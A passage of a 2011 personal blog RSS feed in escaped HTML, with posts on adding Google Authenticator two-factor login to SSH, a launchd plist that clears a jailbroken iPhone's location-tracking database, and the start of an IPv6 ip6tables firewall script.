&lt;p&gt;You may need a few dependencies.  On Debian I was missing &amp;#8216;&lt;span style=&quot;font-family: arial; font-size: 100%;&quot;&gt;mercurial libqrencode3 libpam0g-dev&lt;/span&gt;&amp;#8217;.&lt;br /&gt; &lt;code&gt;&lt;br /&gt; &lt;code&gt;$ hg clone &lt;a href=&quot;https://google-authenticator.googlecode.com/hg/&quot;&gt;https://google-authenticator.googlecode.com/hg/&lt;/a&gt; google-authenticator/&lt;br /&gt; $ cd google-authenticator/libpam/&lt;br /&gt; $ make&lt;br /&gt; $ sudo make install&lt;br /&gt; $ sudo vi /etc/pam.d/sshd&lt;/code&gt;&lt;br /&gt; &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Add the following line to the end of /etc/pam.d/sshd (add at beginning if you want to request the verification code first, I prefer it last):&lt;br /&gt;&lt;code&gt; &lt;code&gt;auth required pam_google_authenticator.so&lt;/code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You also need to update /etc/ssh/sshd_config and add/update:&lt;br /&gt;&lt;code&gt; &lt;code&gt;ChallengeResponseAuthentication yes&lt;/code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Setup your user to require two-factor authentication&lt;/h4&gt;
&lt;p&gt;As a user, you can now run &amp;#8216;google-authenticator&amp;#8217;.  This will  generate a secret key, and add a file to your home directory that the  newly installed PAM uses.&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;code&gt;&lt;code&gt; &lt;/code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt; &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;code&gt;&lt;code&gt;$ google-authenticator &lt;/code&gt;&lt;/code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt; &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;code&gt; &lt;/code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;br /&gt;
&lt;p&gt;&lt;code&gt;Your new secret key is: APAXADA3AEAUAGAQ&lt;br /&gt;Your verification code is 5618181&lt;br /&gt;Your emergency scratch codes are:&lt;br /&gt; 14111017&lt;br /&gt; 14141013&lt;br /&gt; 11121019&lt;br /&gt; 14181616&lt;br /&gt; 13181615&lt;/code&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Do you want me to update your &quot;~/.google_authenticator&quot; file (y/n) y&lt;br /&gt;&lt;br /&gt;Do you want to disallow multiple uses of the same authentication&lt;br /&gt;token? This restricts you to one login about every 30s, but it increases&lt;br /&gt;your chances to notice or even prevent man-in-the-middle attacks (y/n) y&lt;br /&gt;&lt;br /&gt;By default, tokens are good for 30 seconds and in order to compensate for&lt;br /&gt;possible time-skew between the client and the server, we allow an extra&lt;br /&gt;token before and after the current time. If you experience problems with poor&lt;br /&gt;time synchronization, you can increase the window from its default&lt;br /&gt;size of 1:30min to about 4min. Do you want to do so (y/n) n&lt;br /&gt;&lt;br /&gt;If the computer that you are logging into isn&#039;t hardened against brute-force&lt;br /&gt;login attempts, you can enable rate-limiting for the authentication module.&lt;br /&gt;By default, this limits attackers to no more than 3 login attempts every 30s.&lt;br /&gt;Do you want to enable rate-limiting (y/n) y&lt;/p&gt;&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#160;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The emergency scratch codes are one-time use verification codes in the event your phone is unavailable.&lt;/p&gt;
&lt;h4&gt;Configure this new secret key in Google Authenticator&lt;/h4&gt;
&lt;p&gt;In  your Google Authenticator application on your phone, add this new  secret key that was generated in the previous step.  Note, a URL is also  displayed, that can be scanned from your Google Authenticator  application.&lt;/p&gt;
&lt;h4&gt;Wrapping up the setup&lt;/h4&gt;
&lt;p&gt;You will now need to restart SSH for the pam/ssh changes to activate.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;At this point, you will want to stay logged into the server while you test in another shell.&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;Testing&lt;/h4&gt;
&lt;p&gt;Test that two-factor authentication is working.&lt;br /&gt; &lt;code&gt;&lt;br /&gt; &lt;/code&gt;&lt;code&gt;&lt;code&gt;$ ssh example.com&lt;br /&gt;Password:&lt;br /&gt; &lt;/code&gt;&lt;code&gt; Verification code:&lt;br /&gt; &lt;/code&gt;&lt;code&gt;[user@host ~]$&lt;/code&gt;&lt;/code&gt;&lt;code&gt;&lt;br /&gt; &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Enter the verification code as shown on your phone.&lt;/p&gt;
&lt;p&gt;Your SSH sessions are now protected with two factor authentication.&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>You can use this existing implementation and Google Authenticator  application with SSH via an included PAM in the Google Authenticator  open source application.</p>
<h4>Download the Google Authenticator application</h4>
<p>First, <a href="http://www.google.com/support/accounts/bin/answer.py?hl=en&amp;answer=1066447">download and install Google Authenticator</a> on your Iphone/Android/Blackberry.</p>
<h4>Compile, install, configure <a href="http://code.google.com/p/google-authenticator/">Google authenticator</a> PAM</h4>
<p>You may need a few dependencies.  On Debian I was missing &#8216;<span style="font-family: arial; font-size: 100%;">mercurial libqrencode3 libpam0g-dev</span>&#8217;.<br /> <code><br /> <code>$ hg clone <a href="https://google-authenticator.googlecode.com/hg/">https://google-authenticator.googlecode.com/hg/</a> google-authenticator/<br /> $ cd google-authenticator/libpam/<br /> $ make<br /> $ sudo make install<br /> $ sudo vi /etc/pam.d/sshd</code><br /> </code></p>
<p>Add the following line to the end of /etc/pam.d/sshd (add at beginning if you want to request the verification code first, I prefer it last):<br /><code> <code>auth required pam_google_authenticator.so</code></code></p>
<p>You also need to update /etc/ssh/sshd_config and add/update:<br /><code> <code>ChallengeResponseAuthentication yes</code></code></p>
<h4>Setup your user to require two-factor authentication</h4>
<p>As a user, you can now run &#8216;google-authenticator&#8217;.  This will  generate a secret key, and add a file to your home directory that the  newly installed PAM uses.<code><br /></code><code><code> </code></code></p>
<p><code> </code></p>
<p><code><code><code>$ google-authenticator </code></code></code></p>
<p><code> </code></p>
<p><code><code> </code></code></p>
<p><code><br />
<p><code>Your new secret key is: APAXADA3AEAUAGAQ<br />Your verification code is 5618181<br />Your emergency scratch codes are:<br /> 14111017<br /> 14141013<br /> 11121019<br /> 14181616<br /> 13181615</code></p><br />
<p>Do you want me to update your "~/.google_authenticator" file (y/n) y<br /><br />Do you want to disallow multiple uses of the same authentication<br />token? This restricts you to one login about every 30s, but it increases<br />your chances to notice or even prevent man-in-the-middle attacks (y/n) y<br /><br />By default, tokens are good for 30 seconds and in order to compensate for<br />possible time-skew between the client and the server, we allow an extra<br />token before and after the current time. If you experience problems with poor<br />time synchronization, you can increase the window from its default<br />size of 1:30min to about 4min. Do you want to do so (y/n) n<br /><br />If the computer that you are logging into isn't hardened against brute-force<br />login attempts, you can enable rate-limiting for the authentication module.<br />By default, this limits attackers to no more than 3 login attempts every 30s.<br />Do you want to enable rate-limiting (y/n) y</p><br />
</code></p>
<p>&#160;</p>
<p><strong>Note:</strong> The emergency scratch codes are one-time use verification codes in the event your phone is unavailable.</p>
<h4>Configure this new secret key in Google Authenticator</h4>
<p>In  your Google Authenticator application on your phone, add this new  secret key that was generated in the previous step.  Note, a URL is also  displayed, that can be scanned from your Google Authenticator  application.</p>
<h4>Wrapping up the setup</h4>
<p>You will now need to restart SSH for the pam/ssh changes to activate.</p>
<p><strong>At this point, you will want to stay logged into the server while you test in another shell.</strong></p>
<h4>Testing</h4>
<p>Test that two-factor authentication is working.<br /> <code><br /> </code><code><code>$ ssh example.com<br />Password:<br /> </code><code> Verification code:<br /> </code><code>[user@host ~]$</code></code><code><br /> </code></p>
<p>Enter the verification code as shown on your phone.</p>
<p>Your SSH sessions are now protected with two factor authentication.</p>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2011/06/use-google-authenticator-to-login#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=45</wfw:commentRss>
		</item>
				<item>
			<title>Regularly cleaning your consolidated.db file on the iPhone</title>
			<link>http://www.bethlehem.eu/blog/2011/04/regularly-learing-your-consolidated-db</link>
			<pubDate>Fri, 29 Apr 2011 12:40:00 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="main">Family</category>			<guid isPermaLink="false">44@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;p&gt;I made a little plist that clears out my consolidated.db on my (jailbroken) iphone.&lt;/p&gt;
&lt;p&gt;Steps taken:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;connect to the iphone using ssh:&lt;ol&gt;
&lt;li&gt;$ iproxy 2222 22&lt;/li&gt;
&lt;li&gt;$ ssh mobile@localhost -p 2222&lt;/li&gt;
&lt;li&gt;enter password&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;become root&lt;ol&gt;
&lt;li&gt;$ su -&lt;/li&gt;
&lt;li&gt;enter password&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;go to the correct directory for launchdaemons&lt;ol&gt;
&lt;li&gt;# cd /Library/LaunchDaemons&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;create a plist&lt;ol&gt;
&lt;li&gt;# nano eu.bethlehem.eu.cleartrackingdb.plist&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;copy the code below into the plist&lt;/li&gt;
&lt;li&gt;add the plist to the launchcontroller&lt;ol&gt;
&lt;li&gt;# launchctl load eu.bethlehem.jf.cleartrackingdb.plist&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All done &lt;img src=&quot;http://www.bethlehem.eu/blog/rsc/smilies/icon_smile.gif&quot; title=&quot;&amp;amp;amp;#58;&amp;amp;amp;#41;&quot; alt=&quot;&amp;amp;amp;#58;&amp;amp;amp;#41;&quot; class=&quot;middle&quot; width=&quot;15&quot; height=&quot;15&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Code for in the plist:&amp;#65279;&lt;/p&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple Computer//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;plist version=&quot;1.0&quot;&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;dict&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;key&amp;amp;gt;Label&amp;amp;lt;/key&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;string&amp;amp;gt;eu.bethlehem.jf.cleartrackingdb&amp;amp;lt;/string&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;key&amp;amp;gt;ProgramArguments&amp;amp;lt;/key&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;array&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;string&amp;amp;gt;/usr/bin/sqlite3 /private/var/root/Library/Caches/locationd/consolidated.db &#039;DELETE FROM celllocation;vacuum;&#039;&amp;amp;lt;/string&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;/array&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;key&amp;amp;gt;StartCalendarInterval&amp;amp;lt;/key&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;dict&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;key&amp;amp;gt;Minute&amp;amp;lt;/key&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;integer&amp;amp;gt;60&amp;amp;lt;/integer&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;/dict&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;/dict&amp;amp;gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&amp;amp;lt;/plist&amp;amp;gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple Computer//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;lt;plist version=&quot;1.0&quot;&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;lt;dict&amp;gt;&lt;br /&gt;&amp;lt;key&amp;gt;Label&amp;lt;/key&amp;gt;&lt;br /&gt;&amp;lt;string&amp;gt;eu.bethlehem.jf.cleartrackingdb&amp;lt;/string&amp;gt;&lt;br /&gt;&amp;lt;key&amp;gt;ProgramArguments&amp;lt;/key&amp;gt;&lt;br /&gt;&amp;lt;array&amp;gt;&lt;br /&gt;&amp;lt;string&amp;gt;/usr/bin/sqlite3 /private/var/root/Library/Caches/locationd/consolidated.db &#039;DELETE FROM celllocation;vacuum;&#039;&amp;lt;/string&amp;gt;&lt;br /&gt;&amp;lt;/array&amp;gt;&lt;br /&gt;&amp;lt;key&amp;gt;StartCalendarInterval&amp;lt;/key&amp;gt;&lt;br /&gt;&amp;lt;dict&amp;gt;&lt;br /&gt;&amp;lt;key&amp;gt;Minute&amp;lt;/key&amp;gt;&lt;br /&gt;&amp;lt;integer&amp;gt;60&amp;lt;/integer&amp;gt;&lt;br /&gt;&amp;lt;/dict&amp;gt;&lt;br /&gt;&amp;lt;/dict&amp;gt;&lt;br /&gt;&amp;lt;/plist&amp;gt;&lt;/span&gt;&lt;/p&gt;</description>
			<content:encoded><![CDATA[<p>I made a little plist that clears out my consolidated.db on my (jailbroken) iphone.</p>
<p>Steps taken:</p>
<ol>
<li>connect to the iphone using ssh:<ol>
<li>$ iproxy 2222 22</li>
<li>$ ssh mobile@localhost -p 2222</li>
<li>enter password</li>
</ol></li>
<li>become root<ol>
<li>$ su -</li>
<li>enter password</li>
</ol></li>
<li>go to the correct directory for launchdaemons<ol>
<li># cd /Library/LaunchDaemons</li>
</ol></li>
<li>create a plist<ol>
<li># nano eu.bethlehem.eu.cleartrackingdb.plist</li>
</ol></li>
<li>copy the code below into the plist</li>
<li>add the plist to the launchcontroller<ol>
<li># launchctl load eu.bethlehem.jf.cleartrackingdb.plist</li>
</ol></li>
</ol>
<p>All done <img src="http://www.bethlehem.eu/blog/rsc/smilies/icon_smile.gif" title="&amp;amp;#58;&amp;amp;#41;" alt="&amp;amp;#58;&amp;amp;#41;" class="middle" width="15" height="15" /></p>
<p>Code for in the plist:&#65279;</p>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;plist version="1.0"&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;dict&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;key&amp;gt;Label&amp;lt;/key&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;string&amp;gt;eu.bethlehem.jf.cleartrackingdb&amp;lt;/string&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;key&amp;gt;ProgramArguments&amp;lt;/key&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;array&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;string&amp;gt;/usr/bin/sqlite3 /private/var/root/Library/Caches/locationd/consolidated.db 'DELETE FROM celllocation;vacuum;'&amp;lt;/string&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;/array&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;key&amp;gt;StartCalendarInterval&amp;lt;/key&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;dict&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;key&amp;gt;Minute&amp;lt;/key&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;integer&amp;gt;60&amp;lt;/integer&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;/dict&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;/dict&amp;gt;</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px; overflow: hidden;">&amp;lt;/plist&amp;gt;</div>
<p><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br /></code><span style="font-family: monospace;">&lt;!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;<br /></span><span style="font-family: monospace;">&lt;plist version="1.0"&gt;<br /></span><span style="font-family: monospace;">&lt;dict&gt;<br />&lt;key&gt;Label&lt;/key&gt;<br />&lt;string&gt;eu.bethlehem.jf.cleartrackingdb&lt;/string&gt;<br />&lt;key&gt;ProgramArguments&lt;/key&gt;<br />&lt;array&gt;<br />&lt;string&gt;/usr/bin/sqlite3 /private/var/root/Library/Caches/locationd/consolidated.db 'DELETE FROM celllocation;vacuum;'&lt;/string&gt;<br />&lt;/array&gt;<br />&lt;key&gt;StartCalendarInterval&lt;/key&gt;<br />&lt;dict&gt;<br />&lt;key&gt;Minute&lt;/key&gt;<br />&lt;integer&gt;60&lt;/integer&gt;<br />&lt;/dict&gt;<br />&lt;/dict&gt;<br />&lt;/plist&gt;</span></p>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2011/04/regularly-learing-your-consolidated-db#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=44</wfw:commentRss>
		</item>
				<item>
			<title>IPv6 ip6tables firewall configuration</title>
			<link>http://www.bethlehem.eu/blog/2011/01/ipv6-ip6tables-firewall-configuration</link>
			<pubDate>Mon, 17 Jan 2011 09:17:00 +0000</pubDate>			<dc:creator>JF</dc:creator>
			<category domain="main">Security</category>			<guid isPermaLink="false">43@http://www.bethlehem.eu/blog/</guid>
						<description>&lt;p&gt;This is an IPv6 firewall configuration script, designed to be stateful.&lt;/p&gt;
&lt;p&gt;File location: /etc/network/ip6tables&lt;br /&gt;Distro: Debian stable (latest updates as of date-of-writing).&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt; &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;*filter&lt;/span&gt;&lt;/p&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;:INPUT DROP [0:0]&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;:FORWARD DROP [0:0]&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;:OUTPUT DROP [0:0]&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;:in-new - [0:0]&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# First, delete all:&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-F&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-X&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow anything on the local link&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT &amp;#160;-i lo -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A OUTPUT -o lo -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow anything out on the internet&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A OUTPUT -o sixxs -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow the localnet access us:&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT &amp;#160; &amp;#160;-i eth0 &amp;#160; -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A OUTPUT &amp;#160; -o eth0 &amp;#160; -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Filter all packets that have RH0 headers:&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT -m rt --rt-type 0 -j DROP&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A FORWARD -m rt --rt-type 0 -j DROP&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A OUTPUT -m rt --rt-type 0 -j DROP&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow Link-Local addresses&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT -s fe80::/10 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A OUTPUT -s fe80::/10 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;# Allow multicast&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A INPUT -s ff00::/8 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;_mcePaste&quot; style=&quot;position: absolute; left: -10000px; top: 768px; width: 1px; height: 1px; overflow: hidden;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;-A OUTPUT -s ff00::/8 -j ACCEPT&lt;/span&gt;&lt;/div&gt;
